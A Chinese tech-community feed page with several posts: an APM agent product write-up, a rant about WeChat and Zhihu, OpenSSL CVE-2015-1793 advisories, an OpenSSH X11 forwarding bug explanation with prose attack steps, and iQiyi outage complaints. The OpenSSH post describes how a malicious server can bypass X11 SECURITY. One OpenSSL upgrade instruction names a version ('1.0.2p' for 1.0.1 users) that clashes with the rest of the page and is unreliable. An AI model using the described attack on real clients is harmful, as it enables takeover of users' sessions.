如上图是云智慧产品透视宝的Smart Agent的架构图，那它的特点是什么，能干什么?
从上图可以看出smart agent就是类似于我们常说的一个嵌入的sdk一样，只不过这是一个比较高级的sdk，它可以自动发现你主机上面的应用程序、代码执行效率、已经整个环境的生态关系和性能指标的采集、分析数据，从而发现你这个应用系统的性能瓶颈所在。那有人，就会问了这个东西安装在我服务器上是否安全，我的信息是否会被盗取和丢失呢？
我想作为用户有担心是无可厚非的，但是我想做一个长久的公司，是会考虑到我们用户的感受的，看到如上图的解释，我想安全问题，应该不存在的。那这个系统实现原理是怎么样的，是怎么实现的？大会上分享人给出了一个php code执行的数据流图
整个系统又能解决哪些问题呢？
web端用户体验问题
作为运维工程师，经常会有客户反应公司网站慢，但是作为运维人员有不能很好的去查询预知，哪个地方的客户访问比较慢，只有客户反应过来才了解，这样就导致用户体验不好的问题，以致业务收到影响。我这里举个例子，我上家公司是做app市场推广和下载的，类似于91助手，我们公司的用户群体主要集中在北京、上海、深圳、广州等一线城市，有一天我们领导要我分别去测试评估这几个城市在我们平台用户下载速度，这可是给我出了一道难题了，我只好让朋友帮忙，测试了，然后评估一个数据了。页面详情追踪我想，为我们做web优化做出了很好的分析，可以针对相应慢的资源，做出相应的优化方案，不错觉得功能还可以，可以解决痛点！
后端服务事务分析
深入到后端可以让我们清晰的了解性能出现在哪个节点上面，代码级别可以让我们深入了解开发者的代码性能的问题，已经查询SQL性能的问题。看起来挺好高级的，但是如果能提供解决方案更好了。比如查询出来我有一个SQL执行时间过长，然后给出一个认为更优的SQL语句，来做到真正为用户考虑，尽最大力度，减小用户的痛点，就更好了，不过作为创业公司已经做的很不错了，继续加油吧！
应用架构
有一个清晰的业务应用架构，当然对解决问题是有很大帮助的。最后问题发现了，解决了，是不是可以喝茶了，balabala，happy！
真心要喝茶去了，因为大牛的分享结束了，真是意犹未尽啊！
下面我分享几张现场的照片和大牛的PPT给大家
PPT下载地址
本人文笔有限，欢迎大家交流、拍砖 收起阅读 »
学习技术交流的净土绝对不是微信
今天查看微信订阅号，查看到了微信订阅号"运维帮"南非蜘蛛发布的一篇文章"纪念曾经一起上过的技术社区",文章最后的一句话明显是重点，前面说的都是铺垫，这么做的原因是什么，请看我的分析。
"纪念曾经一起上过的技术社区"文章原文如下：
不知道是现在技术太成熟，还是大家都懒的交流，以前活跃的社区都歇菜了，比如Chinaunix、ITPUB、Linuxfans、Linuxform、Linuxeden、网易社区等等。
作为国内最大的技术社区Chinaunix，今天的数据统计是：
论坛共有 17794083 篇帖子(其中 1459640 篇主题) 今日发帖量为 139 篇
现在每天发帖量也不过200篇，都已经杂草丛生，无人管理，版主会议室也是常年无人发言，经常看到很多版主请辞，估计是不做这行了？也可能是精力不够。
社区之死是什么原因？无人知晓。
我个人还是比较喜欢bbs和邮件订阅形式的技术讨论，一是讨论的东西可以沉淀，留下历史记录，如果搜索引擎收录了，还可以帮助更多的人，二是想回答就回答，不想回答就潜水。QQ和微信讨论的好处是实时，但坏处也是实时，天天被人追着问问题，我心也不免狂躁，就算不回答，看着头像闪来闪去也闹心。
现在还有一些其它地方也可以讨论技术，反正只要有工程师活跃的地方，就有技术讨论。
微博讨论技术感觉是怪怪的，好像更适合发布一些消息，而且噪音太多，有用的东西很容易被淹没在明星的爆料中，微博娱乐属性更强一些，其次是科技新闻。
知乎这种问答社区也经常看到技术讨论，但是更多的是争吵和鄙视。
寻找一方净土，一起学习技术，看来只有yunweibang订阅号了，还有运维帮线下技术沙龙，准备开始第二期了，大家一起期待一下。
上面的内容中有我共鸣的地方那就是，有好的东西，好的技术文章和好的解决方法我们应该分享出来，被搜索引擎收录，然后帮助跟我们一样，学习linux开源技术和编程语言等技术的后来者，可以让他们走很多弯路，减少痛苦，这何乐而不为呢？我相信就行开源的一些技术一样，如果它不开源出来，源代码不开放，你根本就不会了解到它核心的思想，和优秀的地方，也不会促进大家一起共享代码，共同推动技术的发展。
确实现在好多技术社区已经不活跃了，基本上就是搜索引擎搜索到一些旧的文章和问题，带来这些社区的一些访问。我想原因有如下几点：
1.现在很多做技术的人都有自己的博客了，所以他们主动逛这种社区类型的网站概率小了。
2.就是现在主流做技术的人员比较活跃的人群的年龄阶段已经是80后到93之间的群体了，而这些人都是比较喜欢新鲜事物和追求一些geek精神的人，以前的站点旧式的bbs的页面，已经不能让这些人很好的接受了，因为这些界面拿现在来说，就是落后式，就是比较loss。
3.现在的技术者平常很少关系站点的好坏和分享的问题，因为现在互联网信息传播的途径太多了QQ，微信，Qzone，微博，社区等。他们不该如何选择了，所以他们干脆就不选择了，随波逐流，看到好的技术文章和分享就赞和分享，所以导致技术者们没有专一的习惯了，所以以前的一些技术社区都在衰败中了。
"南非蜘蛛"在文中还提到了知乎，以说知乎我其实不得不吐槽一下。恨一个人肯定是有原因的，要不是以前太爱了被伤害了，要不就是被虐待了，当然我吐槽知乎也是有历史原因的。当初我也是发现像"南非蚂蚁"所说的问题，就是大家纯分享技术的动力越来越少了，变成了聊天，侃大山不管是qq群还是微信群，真正做技术分享和帮助的社区网站太少了。所以当初我就拿着我朋友"采菊篱下"的openskill.cn这个域名到知乎提问，问题的内容是"大家好，我和我朋友有个域名openskill.cn，然后希望做一个技术分享的社区，让大家可以看到有货的一个社区，做一个分享的社区，希望有愿意和我们一起弄的同学，联系qq：912xxxx" ,但是后来知乎就给我发来一封私信"说我发的信息是广告等垃圾信息" ，后来我就无意间回了一封私信"你们公司 什么意思啊 我这个提问 认为是广告等垃圾信息，我违反什么了?",但是没有下文了，到最后也就这样了。这就是我吐槽知乎的原因。所以以后我再也不上知乎，也不看知乎里面的信息，当然就像"南非蜘蛛"提到的"知乎这种问答社区也经常看到技术讨论，但是更多的是争吵和鄙视",因为知乎现在的运营已经形成了这种恶劣的情况，谁是什么ceo，什么cto，高级dba，高级什么莫莫。这不是一个技术分享社区应该有的现象，这就是知乎自认为所谓的价值存在的地方，你看我们网站这么多人用，有谁，这个那个，cto，ceo，什么的，把分享和开源的精神都扭曲了，所以我不喜欢知乎。经过知乎这件事情后我和我朋友"采菊篱下"就一起创建了现在这个技术文章分享和工作中遇到的错误和技术难题解决方法和思路的一个，技术问答和文章分享的网站AfewBug 分享动力。虽然现在没有什么用户和跟我们有共同爱好的人来做这件事情，但是我们会坚持的，因为我们是爱分享和爱开源的人。希望可以帮助到后来者，我们发布的这些文章和错误的解决方法和方案！
最后我们回到话题"寻找一方净土，一起学习技术，看来只有yunweibang订阅号了，还有运维帮线下技术沙龙，准备开始第二期了，大家一起期待一下。"南非蜘蛛同学明显实在为自己的订阅号，做广告和宣传吗，我不想深入说其中的缘由，都在互联网我想大家都应该知道。但是我希望大家做的事情都是正能量，可以让大家受益的，而不是极少数的人受益。
当然我写这篇文章有人也会说，你是不是也在做广告和拉用户量，然后让你们网站火起来啊。我想说的是，不是，但是相不相信就看你自己心里怎么判断了。因为我写这篇文章的目的是想告诉大家，真正好的东西，应该大家一起分享。还有就是我个人认为微信真心不是学习技术的一份净土，它可能是很好的营销和市场宣传的一个很好的渠道和途径。因为现在微信已经是很多公司、微商、自媒体、网站等，传播知名度的一个很好的工具。无可厚非，微信并没有错，它是成功的，正是因为它的作用它才有存在的价值。所以南非蜘蛛写净土只有yunweibang订阅号了，他并没有说错，因为这是微信的作用。
这篇文章纯属自己心血来潮，都是个人观点，不过欢迎大家拍砖。 收起阅读 »
OpenSSL CVE-2015-1793:中间人攻击
本周初，OpenSSL发布了CVE-2015-1793的漏洞更新包:
漏洞细节及修补补丁的具体方法将在下面给出：
高危漏洞补丁
还提交到了:2aacec8f4a5ba1b365620a7b17fcce311ada93ad.
如何打补丁
和往常的补丁一样（参考：heartbleed（https://ma.ttias.be/patch-against-the-heartbleed-openssl-bug-cve-2014-0160/）, CVE-2015-0291) https://ma.ttias.be/openssl-cve-2015-0291-cve-2015-0286/） and CVE-2015-0286），修复一般需要两步，首先你得更新操作系统的各种库。
由于是“中间人”攻击，所以建议你重新所有服务或者应用程序连接到的SSL/TLS远程端点。如果有人试图改变你的远程端点的DNS并且把URL指向到自己的服务器，那么，你的程序可能依然会认为它是一个有效的的SSL/TLS流。
原文地址 收起阅读 »
这些更新包在7月9日发布，它们将用于修复一个“高危漏洞”。这些漏洞不会影响1.0.0或者 0.9.8版本。--->Forthcoming OpenSSL releases
漏洞细节及修补补丁的具体方法将在下面给出：
高危漏洞补丁
该补丁修复了一个高危漏洞。由OpenSSL团队出版，详情如下:
在证书验证期间，OpenSSL(1.0.1n到1.0.2b版本)将试图寻找一个证书验证链，如果没有找到，那么OpenSSL又会试图寻找另一个证书验证链。但是在这个逻辑的实现中却存在着一个错误，这个错误将导致攻击者可以使用不受信任的征收绕过检查。比如 CA 标识。这使他们能够使用无效的证书充当证书验证链中的叶子证书，比如 CA 和 "issue"。
----->OpenSSL Security Advisory [9 Jul 2015]
这种漏洞允许黑客进行“中间人”攻击，并且能让程序在看到无效和不受信任的证书时让应用程序把该无效证书当成有效的。基本上，它可以让没个人都能成为他们自己的证书颁发机构(Certificate Authority.CA)。这个Bug已被提交到： aae41f8c54257d9fa6904d3a9aa09c5db6cefd0d.
还提交到了:2aacec8f4a5ba1b365620a7b17fcce311ada93ad.
该问题确实相当严重，这意味着又它又被修复了一次。受影响的版本和操作系统有哪些？
不幸中的万幸是，它只有限地影响部分OpenSSL版本：OpenSSL 1.0.2c，1.0.2b,1.0.1n ,1.0.1o。
该漏洞似乎只存在于OpenSSL在2015年6月以后发布的版本中。这貌似让如Linux这一类的系统相对比较安全。因为他们已经有很久没有更新OpenSSL了。正如Red Hat宣布的：
Red Hat，CentOS和Ubuntu完全不会受此漏洞影响，因为在2015年6月没有发布针对这几个系统的版本。
OpenSSL项目已发布一个重要漏洞补丁（CVE-2015-1793）,该漏洞影响OpenSSL的1.0.1n,1.0.1o,1.0.2b及1.0.2c版本。只是为了安全起见，如果可用，请尽快检查并进行更新。特别是如果你有软件使用了最新的OpenSSL源代码或其它库。
上面的那些版本只能用一个月，考虑到Red Hat对重要漏洞的修复和功能选择的谨密政策，OpenSSL没有搭载任意一个上述功能。
Red Hat无需做任何东西去修复或减轻该漏洞（CVE-2015-1793），因为Red Hat不受该影响。
OpenSSL 7月9日安全修复（CVE-2015-1793)。
如何打补丁
和往常的补丁一样（参考：heartbleed（https://ma.ttias.be/patch-against-the-heartbleed-openssl-bug-cve-2014-0160/）, CVE-2015-0291) https://ma.ttias.be/openssl-cve-2015-0291-cve-2015-0286/） and CVE-2015-0286），修复一般需要两步，首先你得更新操作系统的各种库。
由于是“中间人”攻击，所以建议你重新所有服务或者应用程序连接到的SSL/TLS远程端点。如果有人试图改变你的远程端点的DNS并且把URL指向到自己的服务器，那么，你的程序可能依然会认为它是一个有效的的SSL/TLS流。
原文地址 收起阅读 »
OpenSSH <=6.8 X11版本安全BUG
OpenSSH <=6.8中存在一个安全问题，允许通过ssh-X连接客户端的恶意服务器连接到SSH客户端的X服务器，而不受X11的安全限制。
X验证：
有客户端连接到X服务器时需要验证。验证可通过说明直接的验证信息（在实践中，它通常意味着要使用MIT-MAGIC-COOKIE-1，要求用户将一个验证“cookie”发送到服务器中）来完成，但也可通过间接方式完成——比如，对于本地连接来说，服务器可能会基于客户端的UID允许客户端进来。X11SECURITY：
有意思的是，X 服务器会回退到间接验证方式，即使客户端已经直接说明了无效的验证数据。
X11安全机制允许用户创建magic cookies。当这些cookie用于X服务器验证时，它会限制客户端的行为。（这些cookie会阻止客户端使用不安全的X扩展并阻止访问不受限于X11 SECURITY 限制的windows，但不会阻止访问另外一个受限于X11 SECURITY限制的客户端windows。）
由于所有带有X11 SECURITY限制的magic cookies都有相应的超时规定，如果cookie在超时规定的时间内没有被使用，它就会被删除。如果能够成功验证的客户端能够间接尝试通过过期且带有X11 SECURITY限制的cookie直接验证，那么直接验证就会失败，而且X服务器就会在没有X11 SECURITY的情况下回到间接验证！
（不受信任的） X 转发:
当SSH客户端连接到带有ssh-X的SSH服务器时，SSH服务器能够通过已有的且客户端转发至本地X服务器的SSH隧道创建信道。X验证的处理如下：
当连接至SSH服务器时，SSH客户端会在X服务器上注册一个使用期为ForwardX11Timeout（默认：20分钟）新的MIT magic cookie。这个cookie受限于X11 SECURITY限制。以下我将其称为“受限的cookie”。
当连接至SSH服务器时，SSH客户端会创建一个看起来像MIT magic cookie的“虚拟cookie（dummy cookie）”。它会将这个字符串发送给SSH服务器，而位于SSH服务器上的X客户端在通过SSH验证X服务器时必须发送这个虚拟cookie。以下是蹩脚的一些ASCII信息流：
这种方法的一个明显问题在于，如果在ForwardX11Timeout规定的时间内，不存在X客户端通过SSH隧道连接至X服务器的情况，那么服务器就会忘掉cookie。如果SSH客户端允许随后创建新连接，那么X服务器就不会识别出magic cookie，并且会使用通过unix域套接字连接的UID返回简介验证，给予X客户端不带X SECURITY 限制的访问权限。正因如此，超时过期后，ssh拒绝新的X11信道请求。问题
准确地说，问题在于，ssh并不一定要在超时过期后阻拦对X服务器的新连接——而是必须阻拦X11的验证尝试。Cookie可能会在创建X服务器连接后、X客户端发送验证请求之前仍然过期。虽然连接创建之后通常直接跟着验证，但恶意攻击者可任意将其删除。攻击如下：
- []受害者（SSH客户端）与带有ssh-X的攻击者（SSH服务器）连接.[/][]攻击者等待19.5分钟.[/][]攻击者开启对SSH服务器的X11连接，SSH服务器要求在SSH连接上创建一个新的X11信道，SSH客户端连接至X服务器.[/][]攻击者等待1分钟，超时过期，X服务器忘记“受限的cookie”。SSH客户端不再允许新的X11信道.[/][]攻击者发送带有虚拟cookie的验证请求，SSH客户端发送带有“受限的cookie”的验证请求.[/][]攻击者与未受限于X SECURITY限制的X服务器互动.[/]
在实际操作中，可通过在调试器下及_xcb_get_auth_info启动一些X客户端的情况下创建一分钟的延时。等1分钟过后，让程序继续运行。
影响
没有受限于X11限制的程序可以跟所有已打开的程序互动，就像这个程序就是你自己一样。例如，它能够访问所有你的所有公开终端windows并且使用XTEST扩展输入任意命令，这可能会允许SSH服务器完全攻陷任何与ssh-X连接的客户端。例如，攻击者可以将任意内容发送给活跃的窗口，如：
修复方案:
OpenSSH 6.9修复了这个问题，方法是：在SSH服务器请求一个新的X11信道时以及SSH服务器发送X11验证数据时检查超时过期。此外，由于“从一开始（off-by-one）”或时间倾斜在这里非常重要，因此MIT cookie的超时会增加一分钟，而ssh拒绝X11连接/验证尝试后超时不会发生变化。原文地址 收起阅读 »
OpenSSL发布最新安全补丁解决高危漏洞
Openssl 7月9日发布了 OpenSSL 1.0.2 和OpenSSL 1.0.1 两个主线版本的更新，其中修复了一个高危安全问题(CVE-2015-1793)。漏洞危害：
特定版本的OpenSSL在证书校验的逻辑中存在安全漏洞，使得攻击者可以绕过对不可信证书的检查。影响范围 ：
[]OpenSSL 1.0.2c [/]
[]OpenSSL 1.0.2b[/]
[]OpenSSL 1.0.1n[/]
[]OpenSSL 1.0.1o[/]
[]OpenSSL 0.9.8/1.0.0不受影响[/]
修复方案：
OpenSSL 1.0.2c/1.0.2b 的用户请升级到 1.0.2d该问题由Adam Langley/David Benjamin (Google/BoringSSL)于6月24日报告。
OpenSSL 1.0.1h/1.0.1o 的用户请升级到1.0.2p
前往http://www.openssl.org/ 下载相应版本自行编译升级。
OpenSSL 安全公告:http://www.openssl.org/news/secadv_20150709.txt
原文地址 收起阅读 »
未披露的0day高危漏洞,再一次心脏滴血OpenSSl
OpenSSL官方发布漏洞预警，提醒系统管理员做好OpenSSL的升级准备。最新版本OpenSSL将于7月9日（本周四）发布，修复了一个未经披露的高危漏洞。不少安全专家推测，这个高危漏洞将可能是另一个心脏滴血
神秘的高危0day漏洞
OpenSSL是一个广泛使用的开源软件库，它使用SSL和TLS为大多数网站提供加密的互联网连接。
OpenSSL项目团队在本周一宣布，即将发布的OpenSSL加密库新版本1.0.2d和1.0.1p中解决了一个被定位于“高危”的安全漏洞。
关于这个神秘的安全漏洞，除了知道它并不影响1.0.0或0.9.8版本之外，目前还没有更详细的消息。在前天公开的一封邮件列表中，开发者Mark J Cox陈述道：
“OpenSSL项目团队宣布即将发布OpenSSL新版本1.0.2d和1.0.1p，这两个新版本将于7月9日发布。值得注意的是，这两个新版本中都修复了一个安全等级评定为“高危”的漏洞。不过，这个漏洞并不影响1.0.0或0.9.8版本。”OpenSSL官方在发布新版本前发出预警，很可能是为了防止在更新补丁发布给大众之前，黑客利用该漏洞进行攻击。
不少安全专家推测，这个高危漏洞将可能是另一个心脏滴血(Heartbleed)漏洞或POODLE漏洞,而这两者曾被认为是最糟糕的TLS/SSL漏洞，直到今天人们认为它们仍然在影响互联网上的网站。
OpenSSL高危漏洞回顾
心脏滴血漏洞：该漏洞去年4月份被发现，它存在于OpenSSL早期版本中，允许黑客读取受害者加密数据的敏感内容，包括信用卡详细信息，甚至能够窃取网络服务器或客户端软件的加密SSL密钥。
POODLE漏洞：几个月后，在古老但广泛应用的SSL 3.0加密协议中发现了另一个被称为POODLE（Padding Oracle On Downgraded Legacy Encryption）的严重漏洞，该漏洞允许攻击者解密加密连接的内容。
OpenSSL在今年3月份的一次更新中修复了一批高严重性的漏洞，其中包括拒绝服务漏洞（CVE-2015-0291），它允许攻击者攻击在线服务并使其崩溃；此外还有FREAK漏洞（CVE-2015-0204），它允许攻击者迫使客户端使用弱加密方式。
转载出自 收起阅读 »
盗墓笔记"盗"致爱奇艺服务器崩溃
爱奇艺会员为什么看不了视频，观众太多导致服务器奔溃，处理不了！
昨天，全民热播剧《盗墓笔记》准时在爱奇艺独家播出，而爱奇艺方面也如约放出了会员服务，只要开通爱奇艺会员就可以不用等每周五播放一集，而是可以全集观看《盗墓笔记》，这对于那些稻粉来说简直就是天大的好消息，对于那些痴迷于小哥、李易峰的粉丝来讲简直是大福利。但是，据悉许多开通了爱奇艺会员的网友并不能看完《盗墓笔记》全集，只是为什么呢？一起来看看原因吧！！
爱奇艺会员服务开放后，并没有什么用，因为爱奇艺的服务器不堪粉丝们的热情，所以直接歇菜了，然后就有一大波的粉丝在评论里留言，过激的语言可以看的出粉丝对此事件的不满，以下为爱奇艺官方通告：
昨天，全民热播剧《盗墓笔记》准时在爱奇艺独家播出，而爱奇艺方面也如约放出了会员服务，只要开通爱奇艺会员就可以不用等每周五播放一集，而是可以全集观看《盗墓笔记》，这对于那些稻粉来说简直就是天大的好消息，对于那些痴迷于小哥、李易峰的粉丝来讲简直是大福利。
爱奇艺会员服务开放后，并没有什么用，因为爱奇艺的服务器不堪粉丝们的热情，所以直接歇菜了，然后就有一大波的粉丝在评论里留言，过激的语言可以看的出粉丝对此事件的不满，爱奇艺已发出解决此事的声明。来看看网友们的反应吧！
用户们的跟帖如下：
卡米妮vip：如果真的感到抱歉，就应该直接免费给大家看，觉得对的赞
527六子：爱奇艺你这是诈骗吗！我可是黄金VIP，为什么看不了！还没开播前，就说只要付钱买黄金VIP就不用等更新，今天又来这一出！而且客服还打不通！你们是卷款外逃了吗？还删我评论！服务器烧了，你还有理了？@爱奇艺VIP会员 @Althea丽亚 @成在为
MKISSHzz：我的电脑和手机都快炸了[doge] 如果你能给我李易峰男朋友的签名我就原谅你 [doge] 害我花了生活费冲会员[doge]还不让我好好的看[doge] 这样我就不能好好的复习
你在偷窥我：[微笑]爱奇艺垃圾。白开会员了。骗钱咯？
李泽彬彬彬彬彬：退钱退钱[怒骂][怒骂][怒骂]艹尼玛的
见鬼BIBABO：已经追完了，么么哒你们。但是我的VIP不知道为什么手机登录不上去了，我的VIP自动续费好像消失了么？我点自动续费显示要开通，可是已经开通了啊，还有啊，你们客服不理我[失望]
智齿恒齿：我真的受不了爱奇艺了 昨晚等到十二点多都看不了 今天早上起来能看了 结果盗墓笔记把第五集下了就又有问题了 又加载不出来了 盗墓笔记看完此生再不用爱奇艺了 绝不！！！！！[怒骂][怒骂][怒骂]
喵喵尐怪嘼：你们自己网站出问题，害我输入密码不正确，每次都不正确!害我一次次通过绑定手机找回密码！结果昨日找回三次后还是不可以！今日想重新找回，却被警告禁止该手机接收短信！为什么？！[怒][抓狂]我刚买的年会员！
